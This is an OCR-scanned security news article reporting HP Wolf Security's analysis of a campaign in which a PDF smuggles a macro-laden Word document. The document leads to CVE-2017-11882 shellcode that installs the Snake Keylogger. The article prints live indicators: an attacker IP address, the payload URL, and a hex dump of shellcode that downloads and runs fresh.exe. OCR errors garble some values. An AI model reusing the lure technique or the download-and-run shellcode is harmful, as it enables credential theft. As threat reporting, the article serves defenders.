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PDF smuggles Microsoft Word doc to drop Snake Keylogger malware
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Threat analysts have discovered a recent malware distribution campaign using PDF attachments to smuggle malicious Word

documents that infect users with malware.

The choice of PDFs is unusual, as most malicious emails today arrive with DOCX or XLS attachments laced with malware-

loading macro code.

However, as people become more educated about opening malicious Microsoft Office attachments, threat actors switch to

other methods to deploy malicious macros and evade detection.
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In a new report by HP Wolf Security, researchers illustrate how PDFs are being used as a transport for documents with

malicious macros that download and install information-stealing malware on victim's machines.
Embedding Word in PDFs

In a campaign seen by HP Wolf Security, the PDF arriving via email is named "Remittance Invoice," and our guess is that

the email body contains vague promises of payment to the recipient.

When the PDF is opened, Adobe Reader prompts the user to open a DOCX file contained inside, which is already unusual
and might confuse the victim.

Because the threat actors named the embedded document "has been verified," the Open File prompt below states, "The file
'has been verified." This message could trick recipients into believing that Adobe verified the file as legitimate and that the

file is safe to open.

Open File *

The file 'has been verified. However PDF, Jpeg, xlsx, .docx’ may contain programs, macros, or viruses that
could patentially harm your computer. Open the file only if you are sure it is safe. Would you like to:

(®) Open this file
() Always allow opening flles of this type
(C)Mever allow opening files of this type

cance

Dialog requesting action approval (HP)

While malware analysts can inspect embedded files in PDFs using parsers and scripts, regular users who receive these tricky
emails wouldn’t go that far or even know where to start.

As such, many may open the DOCX in Microsoft Word, and if macros are enabled, will download an RTF (rich text format)

file from a remote resource and open it.
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M Wireshark . Follow HTTP Stream (tcp.stream eq 45) - wireshark_26566628-E3E6-46BD-A405-8DEGE5003A34_20220328064011_al4864 - m] x

GET /tea_shipping/f_document shp.doc HTTP/1.1 =
Accept: */*

User-Agent: Mozilla/4.8 (compatible; ms-office; MSOffice 16)

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Host: 192.227.196.211

HTTP/1.1 288 OK

Date: Mon, 28 Mar 2822 18:36:35 GMT

Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.2
Last-Modified: Wed, 23 Mar 2022 85:47:10 GMT

ETag: "Sb34-5dadc42b886a7"

Accept-Ranges: bytes

Content-Length: 23348

Keep-Alive: timeout=5, max=18@

Connection: Keep-Alive

Content-Type: application/msword
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& chient pkts, & server pkes, 11 tumns.

Entire conversation (26 kB) - Show and save data as | ASCIT -

Find: || Find Mext I

Filter Out This Stream Print Save as... Back Close Help

GET request to fetch the RTF file (HP)

The download of the RTF is the result of the following command, embedded in the Word file along with the hardcoded URL
“vtaurl[.]com/IHytw”, which is where the payload is hosted.

$ find . -type f -exec grep —-Po "\Khttps?://\S+?(?=\")" {} \;
http://schemas.openxmlformats.org/package/2086/relationships
http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings
http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme
http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings

http://schemas.openxmlformats.org/officeDocument/2086/relationships/styles
http://schemas.openxmlformats.org/officeDocument/2806/relationships/fontTable
hitpolicchanac npanxmlionmats . org/officeDocument /2006/relationships/ole0bject
https J/vtaurl.com/IHytw

TP 7/ SCheimas . openxmrotmats . org/officeDocument/2806/relationships/image

URL that hosts the RTF file (HP)

Exploiting old RCE

The RTF document is named “f_document_shp.doc” and contains malformed OLE objects, likely to evade analysis. After
some targeted reconstruction, HP’s analysts found that it attempts to abuse an old Microsoft Equation Editor vulnerability to

run arbitrary code.
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Address | Hex ASCIT

031F04DO0 |00 00 6B 00|65 00 72 0OO0|GE 00 &5 OO0(6C 00 33 00]..K. e.r.mn.e, 1 o
031F04E0| 32 00 00 OO(ES8 9F 01 00|00 8% C3 E&(OD 00 00 0O -,
031F04F0| 4C 6F 61 64 (4C 62 62 72|61 72 79 57|00 53 E8 FE LDadL1braryw Seb
031F0500( 01 00 00 8%(C7 E8 OF 00|00 00 47 65|74 50 72 6F .CE....GETPFro
031F0510| 63 41 &4 64|72 65 73 73|00 53 ES E2|01 OO0 OO0 89 CAddress.Sea....
031F0520|C6 EB 1A 00|00 00 45 7B|70 61 GE 64|45 GE 76 69| f£E....Expandenvi
031F0530|72 6F 6E 6D |65 G6E 74 53|74 72 69 6E|67 73 57 00 anﬂentStr1ng;W
031F0540(53 FF D6 68|04 01 00 0O0(8D 54 24 08|52 E8 22 00|SyOh..... TH.RE".

021F0550( 00 00 25 00|50 00 55 00|42 00 4C 00(49 00 43 00)..%.P.U.B.L.I.C.
021F0560| 25 00 5C 00|76 00 &2 00|63 00 2E 00|65 OO0 78 00 %.\.v.b.c...e.x.
031F0570( 65 00 00 OD(FF DO ES OE|00 OO0 OO 55|00 72 00 6C|e...yBE....U.r.1
031FDS80| 00 4D 00 &F (00 6E 00 00|00 FF D7 E8|13 00 00 00|.M.0.N...¥XE..

031F0590 |55 52 4C 44|6F 77 6E 6C|6F 61 64 54(6F 46 €2 &C URLDDWH1DadTDF11
021FOSAD| 65 &7 OO0 S0|FF D& &6A 00|&A 0D BD 54|24 OC 52 EB| aw. PyOJ j..T$.RE
031FOSBO| 4E 00 00 00|68 00 74 00|74 00 70 0OO|3A 00 2F OO|N...h.t.t.p.:./.
031F05CO| 2F 00 31 00|39 00 32 00|2E OO0 32 00(32 00 37 OO0 f.1.9.2...2.2.?.
021FO5DO0O| 2E 00 31 00|39 00 36 OO(2E OO 32 00|31 OO0 31 00| ..1.9.6...2.1.1.
031F0SEQ| 2F 00 46 00|52 00 45 00|53 00 48 00|2F 00 66 00| /.F.R.E.S5.H./.T.
031FOSFO| 72 00 65 00|73 00 68 0OO|2E 00 65 00|78 00 65 00|r.e.s.h...e.x.e.
031F0600 | 00 00 &A OD|FF DO 89 FA|8D BC 24 28|02 00 0O BY ..j.yD.ﬂ.K$(.
031F0610|0OF 00 00 00|31 CO F2 AB|C7 84 24 28|02 00 00 3C|....1A0=C.%(
031F0620| 00 00 00 8D |44 24 04 89|84 24 38 02|00 00 FF 84|....D%5...
031F0630| 24 44 02 00|00 89 D7 EB|10 00 00 00|72 00 68 00|$D....XE...
031FD640| 65 0D 6C 0OD(6C 0D 33 00|32 00 00 OO|FF D7 E8 10|e.1.1.3.2...yxe.
0321F0650 |00 00 DO 53|68 65 6C 6C |45 7B 65 63|75 74 65 45 ShE11EXECUtEE
031F06E0 |78 57 00 50|FF D& 8D 94|24 28 02 00(00 52 FF DO XW Pyl . RED
031F0670|ES OC 00 00|00 45 78 69|74 50 72 6F|62 65 732 73|&. EX1tPrDCE

031F0GBO |00 53 FF 66|C4 8A 64 FT1|AB FD 92 &F (67 E4 38 7B SyfA dg . DgaS{
031F0690 |70 AD 44 67|24 60 65 E7 |78 1E 98 BF |99 B6 B2 03 |p.Dgi egx. 1=

031FDGAD| 16 FB FE 98|81 78 D1 BD|3E 5C D3 FA|DA 39 04 23|.0p..xfe \GuUQ #
021F0O6GBO | 9D 99 77 EB|46 C3 5B 39|E6 A5 D6 57|13 2D 95 C3 weFA [oE¥0wW.-. A
031F06CO | B7 24 SE 82 |6A 6A 99 72 |7E 31 BE 4C (72 EF 03 BL 5“ Jj.r~1%Lri.

031F06D0 | 64 F4 BD 37|38 4C 54 56|9C 0OF S5E E4|5A BE 96 DC| j&.7BLTV.. E7%. U
0D31FDGED|C9 A4 23 53|07 46 34 F2|96 95 34 83|51 1F BC FO|EH#S.F40. Q..3
031F06F0| A5 50 5A SE|BE EC 0D &C|4F EF SB EE|11 AB &F OF |¥PZ %1.10 . &0,

Decrypted shellcode presenting the payload (HP)

The deployed shellcode exploits CVE-2017-11882, a remote code execution bug in Equation Editor fixed in November 2017

but still available for exploitation in the wild.

That flaw immediately caught the attention of hackers when it was disclosed, while the slow patching that followed resulted

in it becoming one of the most exploited vulnerabilities in 2018.

By exploiting CVE-2017-11882, the shellcode in the RTF downloads and runs Snake Keylogger, a modular info-stealer with

powerful persistence, defense evasion, credential access, data harvesting, and data exfiltration capabilities.

P\CUS

The Validation Gap:
What Automated
Pentesting Alone

Cannot See

Automated Pentesting Covers Only 1 of 6 Surfaces.
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Automated pentesting proves the path exists. BAS proves whether your controls stop it. Most teams run one without the
other.

This whitepaper maps six validation surfaces, shows where coverage ends, and provides practitioners with three diagnostic
questions for any tool evaluation.

Source: https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/
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